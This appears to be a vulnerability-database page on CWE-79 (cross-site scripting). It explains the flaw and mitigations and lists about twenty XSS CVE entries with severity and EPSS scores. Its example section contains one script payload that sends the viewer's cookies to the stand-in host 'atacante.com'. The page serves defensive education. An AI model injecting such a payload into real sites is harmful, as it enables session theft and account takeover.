Fallos del tipo CWE-79

30.316 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-58519MEDIUMStored XSS through Cargo's map formatEPSS 0.2%CVE-2025-63639MEDIUMThe chat feature in the application Sourcecodester FAQ Bot with AI Assistant v1.0 is vulnerable to Cross-Site Scripting (XSS) due to impropeEPSS 0.2%CVE-2026-77871MEDIUMPost Snippets <= 4.2.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-94573HIGHRepeater Fields for Elementor Forms <= 2.2.7 - Unauthenticated Stored Cross-Site Scripting via Repeater Field ValueEPSS 0.2%CVE-2026-108566MEDIUMInstantSoft icms2 Private Message index.tpl.php index cross site scriptingEPSS 0.2%CVE-2025-4591MEDIUMWeluka Lite <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-14467MEDIUMWP Job Portal <= 2.4.4 - Authenticated (Editor+) Stored Cross-Site Scripting via Job Description FieldEPSS 0.2%CVE-2025-26514MEDIUMCVE-2025-26514 Reflected Cross-Site Scripting Vulnerability in StorageGRID (formerly StorageGRID Webscale)EPSS 0.2%CVE-2026-97641HIGHRelevanssi <= 4.28.3 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.2%CVE-2026-96752HIGHZero Spam for WordPress <= 5.7.10 - Unauthenticated Stored Cross-Site Scripting via Nested POST Array Keys via Contact Form 7 IntegrationEPSS 0.2%CVE-2025-61087MEDIUMSourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer MEPSS 0.2%CVE-2024-56231MEDIUMWordPress SaasPricing plugin <= 1.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-45002MEDIUMVigybag v1.0 and before is vulnerable to Cross Site Scripting (XSS) via the upload profile picture function under my profile.EPSS 0.2%CVE-2026-65557MEDIUMWordPress Abandoned Cart Lite for WooCommerce plugin <= 6.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-66475MEDIUMWordPress Checkout Field Editor for WooCommerce &#8211; Checkout Manager plugin <= 3.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-39595MEDIUM[CVE-2024-39594] Multiple Cross-Site Scripting (XSS) vulnerabilities in SAP Business Warehouse - Business Planning and SimulationEPSS 0.2%CVE-2024-4754MEDIUMStored XSS in Next4Biz's BPMEPSS 0.2%CVE-2026-106033MEDIUMAnsible: ansible-ui: ansible ui dom xss in /redirect next parameterEPSS 0.2%CVE-2026-119680HIGHStored Cross-Site Scripting (XSS) in SharePoint Manager Plus Chart FeatureEPSS 0.2%CVE-2024-8750MEDIUMCross-site Scripting vulnerability in Idoit proEPSS 0.2%